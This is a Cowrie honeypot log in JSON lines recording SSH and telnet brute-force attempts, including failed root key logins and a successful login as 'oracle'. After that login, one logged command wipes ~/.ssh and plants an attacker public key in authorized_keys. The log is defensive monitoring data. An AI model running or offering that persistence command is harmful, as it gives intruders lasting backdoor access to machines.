{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:18:5c:36:75:03:64:18:a4:45:78:94:b7:0d:2c:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpE1EaHU7V3vWgF90C5F1DBeJA7d2pP8/QeLvK2ouZeV+QIoFGm2swRXL17Rb+2Os5VAQJhJEKgHmLtjnEUvkQVo8HuyFmhELYBcjqOIY1iNTTgU3HbmtzxBmizocotbORaJOXgitj2sdaC/LD+fdtbIx7bY0fEhV/SYIUzl1FdiJzF24s2Jh3RpwJxg4dVMcx6LzxXVnt4aOqropzQLQ8jQVo1uPhjZGF9aEby1r4GvoPV6ZTqgDtVWWLPrdGR91yPu+DxrRAk80uqSwVa6azgosFnyNwZXBHexD1nxMDulaqhN/1SM9Ec+Bdzo145y1ZUO9Pt4u5u9p5wGQej7NZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:18:5c:36:75:03:64:18:a4:45:78:94:b7:0d:2c:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:32.614470Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:18:5c:36:75:03:64:18:a4:45:78:94:b7:0d:2c:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpE1EaHU7V3vWgF90C5F1DBeJA7d2pP8/QeLvK2ouZeV+QIoFGm2swRXL17Rb+2Os5VAQJhJEKgHmLtjnEUvkQVo8HuyFmhELYBcjqOIY1iNTTgU3HbmtzxBmizocotbORaJOXgitj2sdaC/LD+fdtbIx7bY0fEhV/SYIUzl1FdiJzF24s2Jh3RpwJxg4dVMcx6LzxXVnt4aOqropzQLQ8jQVo1uPhjZGF9aEby1r4GvoPV6ZTqgDtVWWLPrdGR91yPu+DxrRAk80uqSwVa6azgosFnyNwZXBHexD1nxMDulaqhN/1SM9Ec+Bdzo145y1ZUO9Pt4u5u9p5wGQej7NZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:32.618108Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:c9:e8:b4:f8:e6:98:5b:83:8c:d5:8f:6b:60:9f:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6DARWSRuebQPSy9lkVmkjlqgmUsCWR1Hl9uLXDBDH9U3R0acM5DUo7JE5mSYG+p9tkKggrn//bVkj3kVAkxJ6Of9629hSF3ljh8L9+FqbXqq2s0/LpATPJJgcgExzrT0tyRy2xddFZSf65mJntQaeg8sTXsQUFf3CcswdmA2GflqcPlmZAPsY5igoVf0VZtAU5CwoML7rkyLfxzK5TkOojcYPXQigQH51R0YyDDJ+Hnr8dSms/G7K8RD/WJ6qYoCiTEiy69TECahI9gto+OizujVdctpbiC3Au/X7uX1gvRDMF4UoLeOUy6pBIw3oKbE1u46u0wSxEuRqbFXqjMS5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:c9:e8:b4:f8:e6:98:5b:83:8c:d5:8f:6b:60:9f:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:32.886102Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:c9:e8:b4:f8:e6:98:5b:83:8c:d5:8f:6b:60:9f:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6DARWSRuebQPSy9lkVmkjlqgmUsCWR1Hl9uLXDBDH9U3R0acM5DUo7JE5mSYG+p9tkKggrn//bVkj3kVAkxJ6Of9629hSF3ljh8L9+FqbXqq2s0/LpATPJJgcgExzrT0tyRy2xddFZSf65mJntQaeg8sTXsQUFf3CcswdmA2GflqcPlmZAPsY5igoVf0VZtAU5CwoML7rkyLfxzK5TkOojcYPXQigQH51R0YyDDJ+Hnr8dSms/G7K8RD/WJ6qYoCiTEiy69TECahI9gto+OizujVdctpbiC3Au/X7uX1gvRDMF4UoLeOUy6pBIw3oKbE1u46u0wSxEuRqbFXqjMS5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:32.889778Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:dc:e5:1d:97:96:c5:f9:87:ae:57:ea:24:cb:f6:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1U8atSt8lzXqhiu68ZnQ+d5mzNEWZzWDQhlGuxaixWGhn8vHk3PS2XCKDrV7wXH7pdleRDGTbvdrc6NzrVCoaQT4mqdlqeG0Glud/vzQVCqK5o+HUADEVLnyUMBOw2UK1RM6tbsImWP+bV+BSgceVxioYha5BmxAcQ7AGtdZOkLhAHJEzZKR7h4a6HY+GgxW9CZzNE5clrEzdPs2joM+bFsAT+edG+gGBLkUpyGxTUjY0aq3LSsZ80eXBBVxG3w6gCGhFmB0ezBazjS69hrxzico0BtAwV0YaaZkCqhEGtIpHnXDAu6f6qG+HKtJmrKfos3C1NoPuN8aqqkUZFRPmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:dc:e5:1d:97:96:c5:f9:87:ae:57:ea:24:cb:f6:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:33.161125Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:dc:e5:1d:97:96:c5:f9:87:ae:57:ea:24:cb:f6:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1U8atSt8lzXqhiu68ZnQ+d5mzNEWZzWDQhlGuxaixWGhn8vHk3PS2XCKDrV7wXH7pdleRDGTbvdrc6NzrVCoaQT4mqdlqeG0Glud/vzQVCqK5o+HUADEVLnyUMBOw2UK1RM6tbsImWP+bV+BSgceVxioYha5BmxAcQ7AGtdZOkLhAHJEzZKR7h4a6HY+GgxW9CZzNE5clrEzdPs2joM+bFsAT+edG+gGBLkUpyGxTUjY0aq3LSsZ80eXBBVxG3w6gCGhFmB0ezBazjS69hrxzico0BtAwV0YaaZkCqhEGtIpHnXDAu6f6qG+HKtJmrKfos3C1NoPuN8aqqkUZFRPmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:33.165057Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:85:21:93:31:af:31:d8:3d:ab:47:51:ab:d0:9c:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDROU+sDOgAMQnPz25FIiq5kt5WVhxy5vR+62OEGmVA0KxnCmflSFiV8MKOn9XBvB7XqYU3iqJkhv1wlCa994sSN/Gmt2dozXFtukB9u4QO2/Rs9gNU47GNOL5GZjyoLKW3Nn65fP3IZsbkS1VwTjUexyfKe+vi2sLG+xEJkqdcyGpo0lwlhqLfFQWE6jiaWZvTLHcX2tglGdo3dG1j/3+qMejkOsVgvlupz2K5UvkY3y7EfcmEf8PppUe7GSze0zfqlo9SW1w7Nh29xiGwyA90WxXlSQKmrDB4NklQdBpo5e4yCBSMxH+lKb63wOLpjwL8UdGrvttyKFUSC9ykSS6IThpohxyo6xP93IIgyChAQvpcLXvKVVfHRC1BelcN96Km7iHFJv+FP5s9t+Ypou88ONUfXPQh3SA4nonk64/hAWdNU9J3LbOhc4GpBOFY3rgaOJ6O4k3jiRJT6RI3p1xAmZzxI0ce4jwTcKz0Ry4DF1BATra5a4g993f9BAZM4zs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:85:21:93:31:af:31:d8:3d:ab:47:51:ab:d0:9c:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:33.433425Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:85:21:93:31:af:31:d8:3d:ab:47:51:ab:d0:9c:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDROU+sDOgAMQnPz25FIiq5kt5WVhxy5vR+62OEGmVA0KxnCmflSFiV8MKOn9XBvB7XqYU3iqJkhv1wlCa994sSN/Gmt2dozXFtukB9u4QO2/Rs9gNU47GNOL5GZjyoLKW3Nn65fP3IZsbkS1VwTjUexyfKe+vi2sLG+xEJkqdcyGpo0lwlhqLfFQWE6jiaWZvTLHcX2tglGdo3dG1j/3+qMejkOsVgvlupz2K5UvkY3y7EfcmEf8PppUe7GSze0zfqlo9SW1w7Nh29xiGwyA90WxXlSQKmrDB4NklQdBpo5e4yCBSMxH+lKb63wOLpjwL8UdGrvttyKFUSC9ykSS6IThpohxyo6xP93IIgyChAQvpcLXvKVVfHRC1BelcN96Km7iHFJv+FP5s9t+Ypou88ONUfXPQh3SA4nonk64/hAWdNU9J3LbOhc4GpBOFY3rgaOJ6O4k3jiRJT6RI3p1xAmZzxI0ce4jwTcKz0Ry4DF1BATra5a4g993f9BAZM4zs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:33.437372Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:53:90:78:ea:69:eb:65:af:eb:69:97:68:fd:40:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7BR4kJnbfpKD8asCnvlkKex/kC99qKLVW/gy7hChHsqlZ2uyQCuoJze+x5LiRyVvLA4Wy/jqB9dUp7GFg49uqu2JIaehREfTYyxEcy6DTyr9zFHbp7lLfhdY4sfmok83TWQEOLal67FdygsW+3wGEn0ToprGq/n+EmP9qD8Gaj0lIxqUrkiMLfnl/LSsa9eZB5MJbSrcsGWoheMoDn+V+ov5nlcxx+MX4ppf+Sw6yFHUFBGTxbbRuTW6cYEbcUAE68Evow36InDMxqc0jumnrywpFCwOk3jOEvuKChcdHQ3fQGsXpn+dhB89raO/z7bF8x9nDcCXJ3mq+B1xjxI7QQELaPTHnVPMyFJo7Uatfj/gNONTm4We5yelXz88CnoaFI8M9C2JgOUgsAeE72a3Z2kGvLW6o3J3ZxS4PDwIhp02kAoQOZG5CcaDA/93OywiGcKtKMwH+RKgrvxUUjO12Ea+0lte19D3f8M8uD+i2mx8NbzrEN5zET/6fQ+AYMLxq+mgNDEVGsMtVTgQx/4yTPtJfIcQ882QdovLhFHW2np81zSFyniUIA77pjlbaKvhSFLBhMdJ+xrwcnqxoSJTL0R6qNFkHL36bfFwq7uCsHjCcieDSSbZUC/g/6dbhMsUrWlEn/ZqONW8npSEUupGL5sWNOOXnhOT/9CWb2q6ovQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:53:90:78:ea:69:eb:65:af:eb:69:97:68:fd:40:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:33.706063Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:53:90:78:ea:69:eb:65:af:eb:69:97:68:fd:40:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7BR4kJnbfpKD8asCnvlkKex/kC99qKLVW/gy7hChHsqlZ2uyQCuoJze+x5LiRyVvLA4Wy/jqB9dUp7GFg49uqu2JIaehREfTYyxEcy6DTyr9zFHbp7lLfhdY4sfmok83TWQEOLal67FdygsW+3wGEn0ToprGq/n+EmP9qD8Gaj0lIxqUrkiMLfnl/LSsa9eZB5MJbSrcsGWoheMoDn+V+ov5nlcxx+MX4ppf+Sw6yFHUFBGTxbbRuTW6cYEbcUAE68Evow36InDMxqc0jumnrywpFCwOk3jOEvuKChcdHQ3fQGsXpn+dhB89raO/z7bF8x9nDcCXJ3mq+B1xjxI7QQELaPTHnVPMyFJo7Uatfj/gNONTm4We5yelXz88CnoaFI8M9C2JgOUgsAeE72a3Z2kGvLW6o3J3ZxS4PDwIhp02kAoQOZG5CcaDA/93OywiGcKtKMwH+RKgrvxUUjO12Ea+0lte19D3f8M8uD+i2mx8NbzrEN5zET/6fQ+AYMLxq+mgNDEVGsMtVTgQx/4yTPtJfIcQ882QdovLhFHW2np81zSFyniUIA77pjlbaKvhSFLBhMdJ+xrwcnqxoSJTL0R6qNFkHL36bfFwq7uCsHjCcieDSSbZUC/g/6dbhMsUrWlEn/ZqONW8npSEUupGL5sWNOOXnhOT/9CWb2q6ovQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:33.709599Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:33.977386Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.04533410072327,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:45.023998Z","src_ip":"178.128.93.180","session":"d9b9d7fff642","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":32768,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0740be4351b","protocol":"ssh","message":"New connection: 101.79.165.133:32768 (159.203.135.109:22) [session: d0740be4351b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:45.986916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:46.053368Z","src_ip":"101.79.165.133","session":"d0740be4351b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:46.278026Z","src_ip":"101.79.165.133","session":"d0740be4351b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle321","message":"login attempt [oracle/oracle321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:47.164310Z","src_ip":"101.79.165.133","session":"d0740be4351b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:47.655699Z","src_ip":"101.79.165.133","session":"d0740be4351b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:47.659256Z","src_ip":"101.79.165.133","session":"d0740be4351b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:47.663267Z","src_ip":"101.79.165.133","session":"d0740be4351b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:48.111676Z","src_ip":"101.79.165.133","session":"d0740be4351b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:48.391173Z","src_ip":"101.79.165.133","session":"d0740be4351b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:48.394175Z","src_ip":"101.79.165.133","session":"d0740be4351b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:48.623419Z","src_ip":"101.79.165.133","session":"d0740be4351b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:48.627725Z","src_ip":"101.79.165.133","session":"d0740be4351b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":42952,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c060d9b78b9","protocol":"ssh","message":"New connection: 101.79.165.133:42952 (159.203.135.109:22) [session: 3c060d9b78b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:48.838157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:48.842864Z","src_ip":"101.79.165.133","session":"3c060d9b78b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:49.058043Z","src_ip":"101.79.165.133","session":"3c060d9b78b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:49.949741Z","src_ip":"101.79.165.133","session":"3c060d9b78b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":59928,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cd2a9202daf","protocol":"ssh","message":"New connection: 193.228.128.84:59928 (10.17.0.5:22) [session: 4cd2a9202daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:50.402765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:50.407513Z","src_ip":"193.228.128.84","session":"4cd2a9202daf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:50.512252Z","src_ip":"193.228.128.84","session":"4cd2a9202daf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nariman","message":"login attempt [root/nariman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:50.819655Z","src_ip":"193.228.128.84","session":"4cd2a9202daf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:51.167552Z","src_ip":"101.79.165.133","session":"3c060d9b78b9","protocol":"ssh"}
